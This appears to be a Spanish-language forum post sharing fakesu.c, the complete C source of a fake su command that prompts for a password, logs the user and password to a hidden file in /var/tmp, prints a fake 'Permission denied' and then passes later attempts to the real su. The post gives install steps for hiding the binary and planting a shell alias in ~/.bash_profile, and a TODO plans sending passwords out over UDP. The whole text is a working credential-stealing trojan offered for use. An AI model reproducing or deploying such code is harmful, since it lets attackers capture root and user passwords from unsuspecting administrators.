Menu #1: Top

fakesu.c

Hace poco tuve la necesidad de poner un fakesu, y la verdad los que encontre y los scripts eran demaciado intrusivos y no tenian mucha opcion, esta es una version muuy rapida de fakesu donde hacemos locking (la mayoria solo toma el primer password) con archivos y guardamos todo en /var/tmp/, recuerden de hacer alias su=/var/tmp/.su o algo asi. Sin mas preambulo lo ponemos aqui, ya que la pagina se ve bastante muerta. /* * fake-su.c * * fastly written by nahual * god all the fakesu sucked * * Bastante sencillo: * * gcc -O2 -o .su fake-su.c * mv .su /var/tmp/.su * echo "alias su=/var/tmp/.su" >> ~/.bash_profile * Y esperar ... * * El Nahual * * TODO: * Agregar la posibilidad de que nos mande el password en un paquete UDP para logeo remoto. * */ #include #include #include #define SU "/bin/su" #define PASSWD "/var/tmp/.passwd" #define LOCK "/var/tmp/.su.lock" extern char **environ; int main(int argc, char **argv) { char *pass; char *user; char *ruser; FILE *inFile; switch(argc) { case 1: user = "root"; break; case 2: if(!strncmp("-", argv[1], 1)) { user = "root"; } else { user = argv[1]; } break; case 3: user = argv[2]; break; } //Esta el lockfile ya le grabamos una vez, lo dejamos en paz if((inFile = fopen(LOCK, "r")) != NULL) { unlink(LOCK); argv[0] = SU; execve(argv[0], argv, environ); } //Okas ahora lo ponemos en el file pero como tenemos "delay" vamos a grabarlo y luego hacer execle al su real if((inFile = fopen(PASSWD, "a+")) == NULL) { execle(SU, SU, argv[1], argv[2], NULL, environ); //Si definido DEBUG hablamos .. si no .. calladitos nos vemos mas bonitos #ifdef DEBUG perror("open() on PASSWD file"); #endif } //Okas agarramos el password ya pass = getpass("Password: "); ruser = getenv("USER"); fprintf(inFile, "%s tried %s / %s\n", ruser, user, pass); fclose(inFile); inFile = fopen(LOCK, "w"); fclose(inFile); printf("su: Permission denied\nSorry\n"); return 0; }

Related topics

apps/tags { trapper }

Comments

Write your comment

Your comment: